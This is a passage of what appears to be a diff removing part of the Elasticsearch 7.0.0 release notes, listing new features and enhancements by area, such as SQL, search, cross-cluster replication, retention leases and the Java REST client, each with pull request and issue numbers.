-* Give precedence to index creation when mixing typed templates with typeless index creation and vice-versa. {es-pull}37871[#37871] (issue: {es-issue}37773[#37773])
-* Add nanosecond field mapper {es-pull}37755[#37755] (issues: {es-issue}27330[#27330], {es-issue}32601[#32601])
-
-Ranking::
-* Add ranking evaluation API {es-pull}27478[#27478] (issue: {es-issue}19195[#19195])
-
-Recovery::
-* Allow to trim all ops above a certain seq# with a term lower than X, … {es-pull}31211[#31211] (issue: {es-issue}10708[#10708])
-
-SQL::
-* Add basic support for ST_AsWKT geo function {es-pull}34205[#34205]
-* Add support for SYS GEOMETRY_COLUMNS {es-pull}30496[#30496] (issue: {es-issue}29872[#29872])
-* Introduce HISTOGRAM grouping function {es-pull}36510[#36510] (issue: {es-issue}36509[#36509])
-* DATABASE() and USER() system functions {es-pull}35946[#35946] (issue: {es-issue}35863[#35863])
-* Introduce INTERVAL support   {es-pull}35521[#35521] (issue: {es-issue}29990[#29990])
-* Allow sorting of groups by aggregates {es-pull}38042[#38042] (issue: {es-issue}35118[#35118])
-* Implement FIRST/LAST aggregate functions {es-pull}37936[#37936] (issue: {es-issue}35639[#35639])
-* Introduce SQL DATE data type {es-pull}37693[#37693] (issue: {es-issue}37340[#37340])
-
-Search::
-* Add “took” timing info to response for _msearch/template API {es-pull}30961[#30961] (issue: {es-issue}30957[#30957])
-* Add allow_partial_search_results flag to search requests with default setting true {es-pull}28440[#28440] (issue: {es-issue}27435[#27435])
-* Enable adaptive replica selection by default {es-pull}26522[#26522] (issue: {es-issue}24915[#24915])
-* Add intervals query {es-pull}36135[#36135] (issues: {es-issue}29636[#29636], {es-issue}32406[#32406])
-* Added soft limit to open scroll contexts #25244 {es-pull}36009[#36009] (issue: {es-issue}25244[#25244])
-* Introduce ability to minimize round-trips in CCS {es-pull}37828[#37828] (issues: {es-issue}32125[#32125], {es-issue}37566[#37566])
-* Add script filter to intervals {es-pull}36776[#36776]
-* Add the ability to set the number of hits to track accurately {es-pull}36357[#36357] (issue: {es-issue}33028[#33028])
-* Add a maximum search request size. {es-pull}26423[#26423]
-* Make IntervalQuery available via the Query DSL {es-pull}36135[#36135] (issue: {es-issue}29636[#29636])
-
-Security::
-* Switch internal security index to ".security-7" {es-pull}39337[#39337] (issue: {es-issue}39284[#39284])
-
-Suggesters::
-* Serialize suggestion responses as named writeables {es-pull}30284[#30284] (issue: {es-issue}26585[#26585])
-
-
-[[enhancement-7.0.0]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Uses MergingDigest instead of AVLDigest in percentiles agg {es-pull}28702[#28702] (issue: {es-issue}19528[#19528])
-* Added keyed response to pipeline percentile aggregations 22302 {es-pull}36392[#36392] (issue: {es-issue}22302[#22302])
-* Enforce max_buckets limit only in the final reduction phase {es-pull}36152[#36152] (issues: {es-issue}32125[#32125], {es-issue}35921[#35921])
-* Histogram aggs: add empty buckets only in the final reduce step {es-pull}35921[#35921]
-* Handles exists query in composite aggs {es-pull}35758[#35758]
-* Added parent validation for auto date histogram {es-pull}35670[#35670]
-* Add Composite to AggregationBuilders {es-pull}38207[#38207] (issue: {es-issue}38020[#38020])
-* Allow nested fields in the composite aggregation {es-pull}37178[#37178] (issue: {es-issue}28611[#28611])
-* Remove single shard optimization when suggesting shard_size {es-pull}37041[#37041] (issue: {es-issue}32125[#32125])
-* Use List instead of priority queue for stable sorting in bucket sort aggregator {es-pull}36748[#36748] (issue: {es-issue}36322[#36322])
-* Keys are compared in BucketSortPipelineAggregation so making key type… {es-pull}36407[#36407]
-
-Allocation::
-* Fail start on obsolete indices documentation {es-pull}37786[#37786] (issue: {es-issue}27073[#27073])
-* Fail start on invalid index metadata {es-pull}37748[#37748] (issue: {es-issue}27073[#27073])
-* Fail start of non-data node if node has data {es-pull}37347[#37347] (issue: {es-issue}27073[#27073])
-
-Analysis::
-* Allow word_delimiter_graph_filter to not adjust internal offsets {es-pull}36699[#36699] (issues: {es-issue}33710[#33710], {es-issue}34741[#34741])
-* Ensure TokenFilters only produce single tokens when parsing synonyms {es-pull}34331[#34331] (issue: {es-issue}34298[#34298])
-* Allow word_delimiter_graph_filter to not adjust internal offsets {es-pull}36699[#36699] (issues: {es-issue}33710[#33710], {es-issue}34741[#34741])
-
-Audit::
-* Add "request.id" to file audit logs  {es-pull}35536[#35536]
-* Security Audit includes HTTP method for requests {es-pull}37322[#37322] (issue: {es-issue}29765[#29765])
-* Add X-Forwarded-For to the logfile audit {es-pull}36427[#36427]
-
-Authentication::
-* Invalidate Token API enhancements - HLRC {es-pull}36362[#36362] (issue: {es-issue}35388[#35388])
-* Add DEBUG/TRACE logs for LDAP bind {es-pull}36028[#36028]
-* Add Tests for findSamlRealm {es-pull}35905[#35905]
-* Add realm information for Authenticate API {es-pull}35648[#35648]
-* Formal support for "password_hash" in Put User {es-pull}35242[#35242] (issue: {es-issue}34729[#34729])
-* Propagate auth result to listeners {es-pull}36900[#36900] (issue: {es-issue}30794[#30794])
-* Reorder realms based on last success {es-pull}36878[#36878]
-* Improve error message for 6.x style realm settings {es-pull}36876[#36876] (issues: {es-issue}30241[#30241], {es-issue}36026[#36026])
-* Change missing authn message to not mention tokens {es-pull}36750[#36750]
-* Invalidate Token API enhancements - HLRC {es-pull}36362[#36362] (issue: {es-issue}35388[#35388])
-* Enhance Invalidate Token API {es-pull}35388[#35388] (issues: {es-issue}34556[#34556], {es-issue}35115[#35115])
-
-Authorization::
-* Improve exact index matching performance {es-pull}36017[#36017]
-* `manage_token` privilege for `kibana_system` {es-pull}35751[#35751]
-* Grant .tasks access to kibana_system role {es-pull}35573[#35573]
-* Add apm_user reserved role {es-pull}38206[#38206]
-* Permission for restricted indices {es-pull}37577[#37577] (issue: {es-issue}34454[#34454])
-* Remove kibana_user and kibana_dashboard_only_user index privileges {es-pull}37441[#37441]
-* Create snapshot role {es-pull}35820[#35820] (issue: {es-issue}34454[#34454])
-
-Build::
-* Sounds like typo in exception message {es-pull}35458[#35458]
-* Allow set section in setup section of REST tests {es-pull}34678[#34678]
-
-CCR::
-* Add time since last auto follow fetch to auto follow stats {es-pull}36542[#36542] (issues: {es-issue}33007[#33007], {es-issue}35895[#35895])
-* Clean followed leader index UUIDs in auto follow metadata {es-pull}36408[#36408] (issue: {es-issue}33007[#33007])
-* Change AutofollowCoordinator to use wait_for_metadata_version {es-pull}36264[#36264] (issues: {es-issue}33007[#33007], {es-issue}35895[#35895])
-* Refactor AutoFollowCoordinator to track leader indices per remote cluster {es-pull}36031[#36031] (issues: {es-issue}33007[#33007], {es-issue}35895[#35895])
-* Concurrent file chunk fetching for CCR restore {es-pull}38495[#38495]
-* Tighten mapping syncing in ccr remote restore {es-pull}38071[#38071] (issues: {es-issue}36879[#36879], {es-issue}37887[#37887])
-* Do not allow put mapping on follower {es-pull}37675[#37675] (issue: {es-issue}30086[#30086])
-* Added ccr to xpack usage infrastructure {es-pull}37256[#37256] (issue: {es-issue}37221[#37221])
-* FollowingEngine should fail with 403 if operation has no seqno assigned {es-pull}37213[#37213]
-* Added auto_follow_exception.timestamp field to auto follow stats {es-pull}36947[#36947]
-* Add time since last auto follow fetch to auto follow stats {es-pull}36542[#36542] (issues: {es-issue}33007[#33007], {es-issue}35895[#35895])
-* Reduce retention lease sync intervals {es-pull}40302[#40302]
-* Renew retention leases while following {es-pull}39335[#39335] (issues: {es-issue}37165[#37165], {es-issue}38718[#38718])
-* Reduce refresh when lookup term in FollowingEngine {es-pull}39184[#39184]
-* Integrate retention leases to recovery from remote {es-pull}38829[#38829] (issue: {es-issue}37165[#37165])
-* Enable removal of retention leases {es-pull}38751[#38751] (issue: {es-issue}37165[#37165])
-* Introduce forget follower API {es-pull}39718[#39718] (issue: {es-issue}37165[#37165])
-
-Client::
-* Fixed required fields and paths list {es-pull}39358[#39358]
-
-Cluster Coordination::
-* Remove timeout task after completing cluster state publication {es-pull}40411[#40411]
-* Use default discovery implementation for single-node discovery {es-pull}40036[#40036]
-* Do not log unsuccessful join attempt each time {es-pull}39756[#39756]
-
-Core::
-* Override the JVM DNS cache policy {es-pull}36570[#36570]
-* Replace usages of AtomicBoolean based block of code by the RunOnce class {es-pull}35553[#35553] (issue: {es-issue}35489[#35489])
-* Added wait_for_metadata_version parameter to cluster state api. {es-pull}35535[#35535]
-* Extract RunOnce into a dedicated class {es-pull}35489[#35489]
-* Introduce elasticsearch-core jar {es-pull}28191[#28191] (issue: {es-issue}27933[#27933])
-* Rename core module to server {es-pull}28180[#28180] (issue: {es-issue}27933[#27933])
-
-CRUD::
-* Rename seq# powered optimistic concurrency control parameters to ifSeqNo/ifPrimaryTerm  {es-pull}36757[#36757] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Expose Sequence Number based Optimistic Concurrency Control in the rest layer {es-pull}36721[#36721] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add doc's sequence number + primary term to GetResult and use it for updates {es-pull}36680[#36680] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add seq no powered optimistic locking support to the index and delete transport actions {es-pull}36619[#36619] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add Seq# based optimistic concurrency control to UpdateRequest {es-pull}37872[#37872] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Introduce ssl settings to reindex from remote {es-pull}37527[#37527] (issues: {es-issue}29755[#29755], {es-issue}37287[#37287])
-* Use Sequence number powered OCC for processing updates {es-pull}37308[#37308] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Document Seq No powered optimistic concurrency control {es-pull}37284[#37284] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Enable IPv6 URIs in reindex from remote {es-pull}36874[#36874]
-* Rename seq# powered optimistic concurrency control parameters to ifSeqNo/ifPrimaryTerm  {es-pull}36757[#36757] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Expose Sequence Number based Optimistic Concurrency Control in the rest layer {es-pull}36721[#36721] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add doc's sequence number + primary term to GetResult and use it for updates {es-pull}36680[#36680] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add seq no powered optimistic locking support to the index and delete transport actions {es-pull}36619[#36619] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Set acking timeout to 0 on dynamic mapping update {es-pull}31140[#31140] (issues: {es-issue}30672[#30672], {es-issue}30844[#30844])
-
-Discovery-Plugins::
-* Adds connect and read timeouts to discovery-gce {es-pull}28193[#28193] (issue: {es-issue}24313[#24313])
-
-Distributed::
-* [Close Index API] Mark shard copy as stale if needed during shard verification {es-pull}36755[#36755]
-* [Close Index API] Refactor MetadataIndexStateService {es-pull}36354[#36354] (issue: {es-issue}36249[#36249])
-* [Close Index API] Add TransportShardCloseAction for pre-closing verifications {es-pull}36249[#36249]
-* TransportResyncReplicationAction should not honour blocks {es-pull}35795[#35795] (issues: {es-issue}35332[#35332], {es-issue}35597[#35597])
-* Expose all permits acquisition in IndexShard and TransportReplicationAction {es-pull}35540[#35540] (issue: {es-issue}33888[#33888])
-* [RCI] Check blocks while having index shard permit in TransportReplicationAction {es-pull}35332[#35332] (issue: {es-issue}33888[#33888])
-* Recover retention leases during peer recovery {es-pull}38435[#38435] (issue: {es-issue}37165[#37165])
-* Lift retention lease expiration to index shard {es-pull}38380[#38380] (issues: {es-issue}37165[#37165], {es-issue}37963[#37963], {es-issue}38070[#38070])
-* Introduce retention lease background sync {es-pull}38262[#38262] (issue: {es-issue}37165[#37165])
-* Allow shards of closed indices to be replicated as regular shards {es-pull}38024[#38024] (issue: {es-issue}33888[#33888])
-* Expose retention leases in shard stats {es-pull}37991[#37991] (issue: {es-issue}37165[#37165])
-* Introduce retention leases versioning {es-pull}37951[#37951] (issue: {es-issue}37165[#37165])
-* Soft-deletes policy should always fetch latest leases {es-pull}37940[#37940] (issues: {es-issue}37165[#37165], {es-issue}37375[#37375])
-* Sync retention leases on expiration {es-pull}37902[#37902] (issue: {es-issue}37165[#37165])
-* Ignore shard started requests when primary term does not match {es-pull}37899[#37899] (issue: {es-issue}33888[#33888])
-* Move update and delete by query to use seq# for optimistic concurrency control {es-pull}37857[#37857] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148], {es-issue}37639[#37639])
-* Introduce retention lease serialization {es-pull}37447[#37447] (issues: {es-issue}37165[#37165], {es-issue}37398[#37398])
-* Add run under primary permit method {es-pull}37440[#37440] (issue: {es-issue}37398[#37398])
-* Introduce retention lease syncing {es-pull}37398[#37398] (issue: {es-issue}37165[#37165])
-* Introduce retention lease persistence {es-pull}37375[#37375] (issue: {es-issue}37165[#37165])
-* Add validation for retention lease construction {es-pull}37312[#37312] (issue: {es-issue}37165[#37165])
-* Introduce retention lease expiration {es-pull}37195[#37195] (issue: {es-issue}37165[#37165])
-* Introduce shard history retention leases {es-pull}37167[#37167] (issue: {es-issue}37165[#37165])
-* [Close Index API] Add unique UUID to ClusterBlock {es-pull}36775[#36775]
-* [Close Index API] Mark shard copy as stale if needed during shard verification {es-pull}36755[#36755]
-* [Close Index API] Propagate tasks ids between Freeze, Close and Verify Shard actions {es-pull}36630[#36630]
-* Always initialize the global checkpoint {es-pull}34381[#34381]
-* Introduce retention lease actions {es-pull}38756[#38756] (issue: {es-issue}37165[#37165])
-* Add dedicated retention lease exceptions {es-pull}38754[#38754] (issue: {es-issue}37165[#37165])
-* Copy retention leases when trim unsafe commits {es-pull}37995[#37995] (issue: {es-issue}37165[#37165])
-* Allow retention lease operations under blocks {es-pull}39089[#39089] (issues: {es-issue}34648[#34648], {es-issue}37165[#37165])
-* Remove retention leases when unfollowing {es-pull}39088[#39088] (issues: {es-issue}34648[#34648], {es-issue}37165[#37165])
-* Introduce retention lease state file {es-pull}39004[#39004] (issues: {es-issue}37165[#37165], {es-issue}38588[#38588], {es-issue}39032[#39032])
-* Enable soft-deletes by default for 7.0+ indices {es-pull}38929[#38929] (issue: {es-issue}36141[#36141])
-
-Engine::
-* Remove versionType from translog {es-pull}31945[#31945]
-* Do retry if primary fails on AsyncAfterWriteAction {es-pull}31857[#31857] (issues: {es-issue}31716[#31716], {es-issue}31755[#31755])
-* handle AsyncAfterWriteAction exception before listener is registered {es-pull}31755[#31755] (issue: {es-issue}31716[#31716])
-* Use IndexWriter#flushNextBuffer to free memory {es-pull}27753[#27753]
-* Remove pre 6.0.0 support from InternalEngine {es-pull}27720[#27720]
-* Add sequence numbers based optimistic concurrency control support to Engine {es-pull}36467[#36467] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Require soft-deletes when access changes snapshot {es-pull}36446[#36446]
-* Use delCount of SegmentInfos to calculate numDocs {es-pull}36323[#36323]
-* Always configure soft-deletes field of IndexWriterConfig {es-pull}36196[#36196] (issue: {es-issue}36141[#36141])
-* Enable soft-deletes by default on 7.0.0 or later {es-pull}36141[#36141]
-* Always return false from `refreshNeeded` on ReadOnlyEngine {es-pull}35837[#35837] (issue: {es-issue}35785[#35785])
-* Add a `_freeze` / `_unfreeze` API {es-pull}35592[#35592] (issue: {es-issue}34352[#34352])
-* [RCI] Add IndexShardOperationPermits.asyncBlockOperations(ActionListener<Releasable>) {es-pull}34902[#34902] (issue: {es-issue}33888[#33888])
-* Specialize pre-closing checks for engine implementations {es-pull}38702[#38702]
-* Ensure that max seq # is equal to the global checkpoint when creating ReadOnlyEngines {es-pull}37426[#37426]
-* Enable Bulk-Merge if all source remains {es-pull}37269[#37269]
-* Rename setting to enable mmap {es-pull}37070[#37070] (issue: {es-issue}36668[#36668])
-* Add hybridfs store type {es-pull}36668[#36668]
-* Introduce time-based retention policy for soft-deletes {es-pull}34943[#34943] (issue: {es-issue}34908[#34908])
-* Handle AsyncAfterWriteAction failure on primary in the same way as failures on replicas  {es-pull}31969[#31969] (issues: {es-issue}31716[#31716], {es-issue}31755[#31755])
-* Explicitly advance max_seq_no before indexing {es-pull}39473[#39473] (issue: {es-issue}38879[#38879])
-* Also mmap cfs files for hybridfs {es-pull}38940[#38940] (issue: {es-issue}36668[#36668])
-
-Features/CAT APIs::
-* Expose `search.throttled` on `_cat/indices` {es-pull}37073[#37073] (issue: {es-issue}34352[#34352])
-
-Features/Features::
-* Run Node deprecation checks locally (#38065) {es-pull}38250[#38250] (issue: {es-issue}38065[#38065])
-
-Features/ILM::
-* Ensure ILM policies run safely on leader indices  {es-pull}38140[#38140] (issue: {es-issue}34648[#34648])
-* Skip Shrink when numberOfShards not changed {es-pull}37953[#37953] (issue: {es-issue}33275[#33275])
-* Inject Unfollow before Rollover and Shrink {es-pull}37625[#37625] (issue: {es-issue}34648[#34648])
-* Add set_priority action to ILM {es-pull}37397[#37397] (issue: {es-issue}36905[#36905])
-* Add Freeze Action {es-pull}36910[#36910] (issue: {es-issue}34630[#34630])
-
-Features/Indices APIs::
-*  Add cluster-wide shard limit {es-pull}32856[#32856] (issue: {es-issue}20705[#20705])
-* Remove RestGetAllAliasesAction {es-pull}31308[#31308] (issue: {es-issue}31129[#31129])
-* Add rollover-creation-date setting to rolled over index {es-pull}31144[#31144] (issue: {es-issue}30887[#30887])
-* add is-write-index flag to aliases {es-pull}30942[#30942]
-* Make index and bulk APIs work without types. {es-pull}29479[#29479]
-* Simplify deprecation issue levels {es-pull}36326[#36326]
-* New mapping signature and mapping string source fixed. {es-pull}37401[#37401]
-
-Features/Ingest::
-* Add ignore_missing property to foreach filter (#22147) {es-pull}31578[#31578] (issue: {es-issue}22147[#22147])
-* Compile mustache template only if field includes '{{'' {es-pull}37207[#37207] (issue: {es-issue}37120[#37120])
-* Move ingest-geoip default databases out of config {es-pull}36949[#36949] (issue: {es-issue}36898[#36898])
-* Make the ingest-geoip databases even lazier to load {es-pull}36679[#36679]
-* Updates the grok patterns to be consistent with the logstash {es-pull}27181[#27181]
-
-Features/Java High Level REST Client::
-* HLRC API for _termvectors {es-pull}32610[#32610] (issue: {es-issue}27205[#27205])
-* Fix strict setting exception handling {es-pull}37247[#37247] (issue: {es-issue}37090[#37090])
-* Use nonblocking entity for requests {es-pull}32249[#32249]
-
-Features/Monitoring::
-* Make Exporters Async {es-pull}35765[#35765] (issue: {es-issue}35743[#35743])
-* Adding mapping for hostname field {es-pull}37288[#37288]
-* Remove types from internal monitoring templates and bump to api 7 {es-pull}39888[#39888] (issue: {es-issue}38637[#38637])
-
-Features/Stats::
-* Stats to record how often the ClusterState diff mechanism is used successfully {es-pull}26973[#26973]
-* Add JVM dns cache expiration config to JvmInfo {es-pull}36372[#36372]
-
-Features/Watcher::
-* Validate email adresses when storing a watch {es-pull}34042[#34042] (issue: {es-issue}33980[#33980])
-* Move watcher to use seq# and primary term for concurrency control {es-pull}37977[#37977] (issues: {es-issue}10708[#10708], {es-issue}37872[#37872])
-* Use ILM for Watcher history deletion {es-pull}37443[#37443] (issue: {es-issue}32041[#32041])
-* Add whitelist to HttpClient {es-pull}36817[#36817] (issue: {es-issue}29937[#29937])
-* Remove the index type from internal watcher indexes {es-pull}39761[#39761] (issue: {es-issue}38637[#38637])
-
-Geo::
-* Adds a name of the field to geopoint parsing errors {es-pull}36529[#36529] (issue: {es-issue}15965[#15965])
-* Add support to ShapeBuilders for building Lucene geometry {es-pull}35707[#35707] (issue: {es-issue}35320[#35320])
-* Add ST_WktToSQL function {es-pull}35416[#35416] (issue: {es-issue}29872[#29872])
-
-Index APIs::
-* Add cluster-wide shard limit warnings {es-pull}34021[#34021] (issues: {es-issue}20705[#20705], {es-issue}32856[#32856])
-
-Infra/Circuit Breakers::
-* Have circuit breaker succeed on unknown mem usage {es-pull}33125[#33125] (issue: {es-issue}31767[#31767])
-* Account for XContent overhead in in-flight breaker {es-pull}31613[#31613]
-* Script Stats: Add compilation limit counter to stats {es-pull}26387[#26387]
-
-Infra/Core::
-* Add RunOnce utility class that executes a Runnable exactly once {es-pull}35484[#35484]
-* Improved IndexNotFoundException's default error message {es-pull}34649[#34649] (issue: {es-issue}34628[#34628])
-* fix a few versionAdded values in ElasticsearchExceptions {es-pull}37877[#37877]
-* Add simple method to write collection of writeables {es-pull}37448[#37448] (issue: {es-issue}37398[#37398])
-* Date/Time parsing: Use java time API instead of exception handling {es-pull}37222[#37222]
-* [API] spelling: interruptible {es-pull}37049[#37049] (issue: {es-issue}37035[#37035])
-* Enhancements to IndicesQueryCache. {es-pull}39099[#39099] (issue: {es-issue}37117[#37117])
-* Change zone formatting for all printers {es-pull}39568[#39568] (issue: {es-issue}38471[#38471])
-
-Infra/Logging::
-* Trim the JSON source in indexing slow logs {es-pull}38081[#38081] (issue: {es-issue}38080[#38080])
-* Optimize warning header de-duplication {es-pull}37725[#37725] (issues: {es-issue}35754[#35754], {es-issue}37530[#37530], {es-issue}37597[#37597], {es-issue}37622[#37622])
-* Remove warn-date from warning headers {es-pull}37622[#37622] (issues: {es-issue}35754[#35754], {es-issue}37530[#37530], {es-issue}37597[#37597])
-* Add some deprecation optimizations {es-pull}37597[#37597] (issues: {es-issue}35754[#35754], {es-issue}37530[#37530])
-* Only update response headers if we have a new one {es-pull}37590[#37590] (issues: {es-issue}35754[#35754], {es-issue}37530[#37530])
-
-Infra/Packaging::
-* Choose JVM options ergonomically {es-pull}30684[#30684]
-* Add OS/architecture classifier to distributions {es-pull}37881[#37881]
-* Change file descriptor limit to 65535 {es-pull}37537[#37537] (issue: {es-issue}35839[#35839])
-* Exit batch files explictly using ERRORLEVEL {es-pull}29583[#29583] (issue: {es-issue}29582[#29582])
-* Add no-jdk distributions {es-pull}39882[#39882]
-* Allow AVX-512 on JDK 11+ {es-pull}40828[#40828] (issue: {es-issue}32138[#32138])
-
-Infra/REST API::
-* Remove hand-coded XContent duplicate checks {es-pull}34588[#34588] (issues: {es-issue}22073[#22073], {es-issue}22225[#22225], {es-issue}22253[#22253])
-* Add the `include_type_name` option to the search and document APIs. {es-pull}29506[#29506] (issue: {es-issue}15613[#15613])
-* Validate `op_type` for `_create` {es-pull}27483[#27483]
-
-Infra/Scripting::
-* Tests: Add support for custom contexts to mock scripts {es-pull}34100[#34100]
-* Reflect factory signatures in painless classloader {es-pull}34088[#34088]
-* Handle missing values in painless {es-pull}32207[#32207] (issue: {es-issue}29286[#29286])
-* Add getZone to JodaCompatibleZonedDateTime {es-pull}37084[#37084]
-* [Painless] Add boxed type to boxed type casts for method/return {es-pull}36571[#36571]
-
-Infra/Packaging::
-* Use bundled JDK in Docker images {es-pull}40238[#40238]
-* Upgrade bundled JDK and Docker images to JDK 12 {es-pull}40229[#40229]
-* Bundle java in distributions {es-pull}38013[#38013] (issue: {es-issue}31845[#31845])
-
-Infra/Settings::
-* Settings: Add keystore creation to add commands {es-pull}26126[#26126]
-* Separate out validation of groups of settings {es-pull}34184[#34184]
-* Provide a clearer error message on keystore add {es-pull}39327[#39327] (issue: {es-issue}39324[#39324])
-
-Infra/Transport API::
-* Change BWC version for VerifyRepositoryResponse {es-pull}30796[#30796] (issue: {es-issue}30762[#30762])
-
-Ingest::
-* Grok fix duplicate patterns JAVACLASS and JAVAFILE  {es-pull}35886[#35886]
-* Implement Drop Processor {es-pull}32278[#32278] (issue: {es-issue}23726[#23726])
-
-Java High Level REST Client::
-* Add get users action {es-pull}36332[#36332] (issue: {es-issue}29827[#29827])
-* Add delete template API {es-pull}36320[#36320] (issue: {es-issue}27205[#27205])
-* Implement get-user-privileges API {es-pull}36292[#36292]
-* Get Deprecation Info API {es-pull}36279[#36279] (issue: {es-issue}29827[#29827])
-* Add support for Follow Stats API {es-pull}36253[#36253] (issue: {es-issue}33824[#33824])
-* Add support for CCR Stats API {es-pull}36213[#36213] (issue: {es-issue}33824[#33824])
-* Put Role {es-pull}36209[#36209] (issue: {es-issue}29827[#29827])
-* Add index templates exist API {es-pull}36132[#36132] (issue: {es-issue}27205[#27205])
-* Add support for CCR Get Auto Follow Pattern apis {es-pull}36049[#36049] (issue: {es-issue}33824[#33824])
-* Add support for CCR Delete Auto Follow Pattern API {es-pull}35981[#35981] (issue: {es-issue}33824[#33824])
-* Remove fromXContent from IndexUpgradeInfoResponse {es-pull}35934[#35934]
-* Add delete expired data API {es-pull}35906[#35906] (issue: {es-issue}29827[#29827])
-* Execute watch API {es-pull}35868[#35868] (issue: {es-issue}29827[#29827])
-* Add ability to put user with a password hash {es-pull}35844[#35844] (issue: {es-issue}35242[#35242])
-* Add ML find file structure API {es-pull}35833[#35833] (issue: {es-issue}29827[#29827])
-* Add support for get roles API {es-pull}35787[#35787] (issue: {es-issue}29827[#29827])
-* Added support for CCR Put Auto Follow Pattern API {es-pull}35780[#35780] (issue: {es-issue}33824[#33824])
-* XPack ML info action {es-pull}35777[#35777] (issue: {es-issue}29827[#29827])
-* ML Delete event from Calendar {es-pull}35760[#35760] (issue: {es-issue}29827[#29827])
-* Add ML revert model snapshot API {es-pull}35750[#35750] (issue: {es-issue}29827[#29827])
-* ML Get Calendar Events {es-pull}35747[#35747] (issue: {es-issue}29827[#29827])
-* Add high-level REST client API for `_freeze` and `_unfreeze` {es-pull}35723[#35723] (issue: {es-issue}34352[#34352])
-* Fix issue in equals impl for GlobalOperationPrivileges {es-pull}35721[#35721]
-* ML Delete job from calendar {es-pull}35713[#35713] (issue: {es-issue}29827[#29827])
-* ML Add Event To Calendar API {es-pull}35704[#35704] (issue: {es-issue}29827[#29827])
-* Add ML update model snapshot API (#35537) {es-pull}35694[#35694] (issue: {es-issue}29827[#29827])
-* Add support for CCR Unfollow API {es-pull}35693[#35693] (issue: {es-issue}33824[#33824])
-* Clean up PutLicenseResponse {es-pull}35689[#35689] (issue: {es-issue}35547[#35547])
-* Clean up StartBasicResponse {es-pull}35688[#35688] (issue: {es-issue}35547[#35547])
-* Add support for put privileges API {es-pull}35679[#35679]
-* ML Add Job to Calendar API {es-pull}35666[#35666] (issue: {es-issue}29827[#29827])
-* Add support for CCR Resume Follow API {es-pull}35638[#35638] (issue: {es-issue}33824[#33824])
-* Add support for get application privileges API {es-pull}35556[#35556] (issue: {es-issue}29827[#29827])
-* Clean up XPackInfoResponse class and related tests {es-pull}35547[#35547]
-* Add parameters to stopRollupJob API {es-pull}35545[#35545] (issue: {es-issue}34811[#34811])
-* Add ML delete model snapshot API {es-pull}35537[#35537] (issue: {es-issue}29827[#29827])
-* Add get watch API {es-pull}35531[#35531] (issue: {es-issue}29827[#29827])
-* Add ML Update Filter API {es-pull}35522[#35522] (issue: {es-issue}29827[#29827])
-* Add ml get filters api {es-pull}35502[#35502] (issue: {es-issue}29827[#29827])
-* Add ML get model snapshots API {es-pull}35487[#35487] (issue: {es-issue}29827[#29827])
-* Add "_has_privileges" API to Security Client {es-pull}35479[#35479] (issue: {es-issue}29827[#29827])
-* Add Delete Privileges API to HLRC {es-pull}35454[#35454] (issue: {es-issue}29827[#29827])
-* Add support for CCR Put Follow API {es-pull}35409[#35409]
-* Add ML delete filter action {es-pull}35382[#35382] (issue: {es-issue}29827[#29827])
-* Add delete user action {es-pull}35294[#35294] (issue: {es-issue}29827[#29827])
-* HLRC for _mtermvectors {es-pull}35266[#35266] (issues: {es-issue}27205[#27205], {es-issue}33447[#33447])
-* Reindex API with wait_for_completion false {es-pull}35202[#35202] (issue: {es-issue}27205[#27205])
-* Add watcher stats API {es-pull}35185[#35185] (issue: {es-issue}29827[#29827])
-* HLRC support for getTask {es-pull}35166[#35166] (issue: {es-issue}27205[#27205])
-* Add GetRollupIndexCaps API {es-pull}35102[#35102] (issue: {es-issue}29827[#29827])
-* HLRC: migration api - upgrade {es-pull}34898[#34898] (issue: {es-issue}29827[#29827])
-* Add stop rollup job support to HL REST Client {es-pull}34702[#34702] (issue: {es-issue}29827[#29827])
-* Bulk Api support for global parameters {es-pull}34528[#34528] (issue: {es-issue}26026[#26026])
-* Add delete rollup job support to HL REST Client {es-pull}34066[#34066] (issue: {es-issue}29827[#29827])
-* Add support for get license basic/trial status API {es-pull}33176[#33176] (issue: {es-issue}29827[#29827])
-* Add machine learning open job {es-pull}32860[#32860] (issue: {es-issue}29827[#29827])
-* Add ML HLRC wrapper and put_job API call {es-pull}32726[#32726]
-* Add Get Snapshots High Level REST API {es-pull}31537[#31537] (issue: {es-issue}27205[#27205])
-
-Java Low Level REST Client::
-* On retry timeout add root exception {es-pull}25576[#25576]
-
-License::
-* Require acknowledgement to start_trial license {es-pull}30135[#30135] (issue: {es-issue}30134[#30134])
-* Handle malformed license signatures {es-pull}37137[#37137] (issue: {es-issue}35340[#35340])
-
-Machine Learning::
-* Create the ML annotations index {es-pull}36731[#36731] (issues: {es-issue}26034[#26034], {es-issue}33376[#33376])
-* Split in batches and migrate all jobs and datafeeds {es-pull}36716[#36716] (issue: {es-issue}32905[#32905])
-* Add cluster setting to enable/disable config  migration {es-pull}36700[#36700] (issue: {es-issue}32905[#32905])
-* Add audits when deprecation warnings occur with datafeed start {es-pull}36233[#36233]
-* Add lazy parsing for DatafeedConfig:Aggs,Query {es-pull}36117[#36117]
-* Add support for lazy nodes (#29991) {es-pull}34538[#34538] (issue: {es-issue}29991[#29991])
-* Move ML Optimistic Concurrency Control to Seq No {es-pull}38278[#38278] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add explanation so far to file structure finder exceptions {es-pull}38191[#38191] (issue: {es-issue}29821[#29821])
-*  Add reason field in JobTaskState {es-pull}38029[#38029] (issue: {es-issue}34431[#34431])
-* Add _meta information to all ML indices {es-pull}37964[#37964]
-* Add upgrade mode docs, hlrc, and fix bug {es-pull}37942[#37942]
-* Tighten up use of aliases rather than concrete indices {es-pull}37874[#37874]
-* Add support for single bucket aggs in Datafeeds {es-pull}37544[#37544] (issue: {es-issue}36838[#36838])
-* Create the ML annotations index {es-pull}36731[#36731] (issues: {es-issue}26034[#26034], {es-issue}33376[#33376])
